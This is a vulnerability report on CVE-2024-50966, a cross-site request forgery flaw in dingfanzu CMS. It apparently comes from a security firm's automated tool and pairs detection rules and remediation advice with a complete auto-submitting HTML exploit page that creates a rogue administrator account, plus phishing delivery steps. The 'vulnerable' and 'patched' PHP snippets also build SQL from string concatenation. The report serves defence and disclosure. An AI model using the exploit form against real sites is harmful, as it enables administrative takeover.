CVE-2024-50966

Executive Summary

CVE-2024-50966 is a Cross-Site Request Forgery (CSRF) vulnerability in dingfanzu CMS V1.0, specifically in the /admin/doAdminAction.php?act=addAdmin component. This flaw allows an attacker to forge a request that, when executed by an authenticated administrator, creates a new admin account without the administrator’s knowledge or consent. The vulnerability has a CVSS v3.1 base score of 8.8 (High) due to the potential for complete compromise of the CMS backend. No official patch has been released, and the vendor appears unresponsive. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for exposed instances.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a custom PHP application (dingfanzu CMS V1.0). No supply chain attack vector is present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N) – The attack is performed over the network.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need authentication.
• User Interaction: Required (UI:R) – The victim must click a link or visit a malicious page.
• Scope: Unchanged (S:U) – The vulnerability affects only the CMS.
• Confidentiality Impact: High (C:H) – An attacker can gain full admin access.
• Integrity Impact: High (I:H) – An attacker can modify CMS data and settings.
• Availability Impact: High (A:H) – An attacker can disrupt CMS operations.

Threat Level: High. The vulnerability enables full administrative takeover with minimal user interaction.

Deep Dive & Mechanics

The vulnerability resides in the doAdminAction.php script, specifically the addAdmin action. The script does not implement any CSRF token validation or origin checking. When an authenticated administrator’s browser sends a POST request to /admin/doAdminAction.php?act=addAdmin with parameters like username, password, and role, a new admin account is created.

An attacker can craft a malicious HTML page that automatically submits a form to this endpoint. If the victim (an authenticated admin) visits the attacker’s page, the browser will include the victim’s session cookies, and the request will be processed as if initiated by the admin. This results in the creation of a rogue admin account, giving the attacker persistent backend access.

Root Cause: Lack of CSRF protection (no anti-CSRF token, no SameSite cookie attribute, no Origin/Referer header validation).

Vulnerable vs. Patched Code

Vulnerable Code (dingfanzu CMS V1.0):

// /admin/doAdminAction.php
if ($_GET['act'] == 'addAdmin') {
    $username = $_POST['username'];
    $password = md5($_POST['password']);
    $role = $_POST['role'];
    $sql = "INSERT INTO admin (username, password, role) VALUES ('$username', '$password', '$role')";
    mysqli_query($conn, $sql);
}

No CSRF token check is performed.

Patched Code (Hypothetical Fix):

// /admin/doAdminAction.php
session_start();
if ($_GET['act'] == 'addAdmin') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die("CSRF token validation failed.");
    }
    $username = mysqli_real_escape_string($conn, $_POST['username']);
    $password = password_hash($_POST['password'], PASSWORD_BCRYPT);
    $role = mysqli_real_escape_string($conn, $_POST['role']);
    $sql = "INSERT INTO admin (username, password, role) VALUES ('$username', '$password', '$role')";
    mysqli_query($conn, $sql);
}

The fix includes CSRF token validation, input sanitization, and secure password hashing.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of dingfanzu CMS V1.0 with an authenticated admin session.
• Attacker-controlled web server to host the malicious page.

Exploit Steps:

1. Create an HTML file (e.g., csrf_exploit.html) with the following content:

<html>
<body>
<form action="http://target.com/admin/doAdminAction.php?act=addAdmin" method="POST">
    <input type="hidden" name="username" value="attacker_admin">
    <input type="hidden" name="password" value="P@ssw0rd!">
    <input type="hidden" name="role" value="1">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

2. Host this file on an attacker-controlled server.
3. Send the link to the victim (authenticated admin) via phishing email or social engineering.
4. Once the victim visits the page, the form auto-submits, creating a new admin account attacker_admin with password P@ssw0rd!.
5. Log in to the CMS backend using the new credentials.

Note: The exploit requires the victim to have an active session. The attacker can also use a 0x0 image tag or other techniques to trigger the request without user interaction.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected POST requests to /admin/doAdminAction.php?act=addAdmin from unusual referrers.
• Alert on creation of new admin accounts, especially if the username or IP is suspicious.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Defense:

• Implement CSRF tokens in all admin forms.
• Set the SameSite cookie attribute to Strict or Lax.
• Validate the Origin and Referer headers.
• Restrict admin panel access to trusted IPs or VPN.
• Use Web Application Firewall (WAF) rules to block requests without proper tokens.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /admin/doAdminAction.php?act=addAdmin with parameters username, password, role.
  • Referer header pointing to an external domain.
• File IOCs:
  • New entries in the admin table of the CMS database with suspicious usernames.
• Log IOCs:
  • Access logs showing repeated POST requests to the vulnerable endpoint from different IPs.
  • Error logs showing failed CSRF token validation (if patched).

Detection Engineering

YARA Rule

rule detect_csrf_exploit_html {
    meta:
        description = "Detects HTML pages attempting CSRF against dingfanzu CMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50966"
    strings:
        $action = "doAdminAction.php?act=addAdmin" nocase
        $username = "username" nocase
        $password = "password" nocase
        $role = "role" nocase
    condition:
        all of them
}

Sigma Rule

title: CSRF Exploit Against dingfanzu CMS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to the vulnerable CSRF endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri: '/admin/doAdminAction.php'
        cs-uri-query: 'act=addAdmin'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF protection is added)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50966 CSRF Attempt Against dingfanzu CMS"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/admin/doAdminAction.php"; http.uri; content:"act=addAdmin"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Disable the vulnerable endpoint temporarily by removing or renaming doAdminAction.php until a patch is applied.
2. Implement CSRF tokens manually by modifying the PHP code to generate and validate tokens.
3. Set SameSite cookie attribute to Strict or Lax in the PHP session configuration.
4. Restrict admin panel access to a whitelist of IP addresses or require VPN access.

Long-Term Remediation:

• Apply vendor patch if/when released. Currently, no patch exists.
• Migrate to a supported CMS if the vendor remains unresponsive.
• Conduct a security audit of the entire CMS codebase for similar vulnerabilities.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.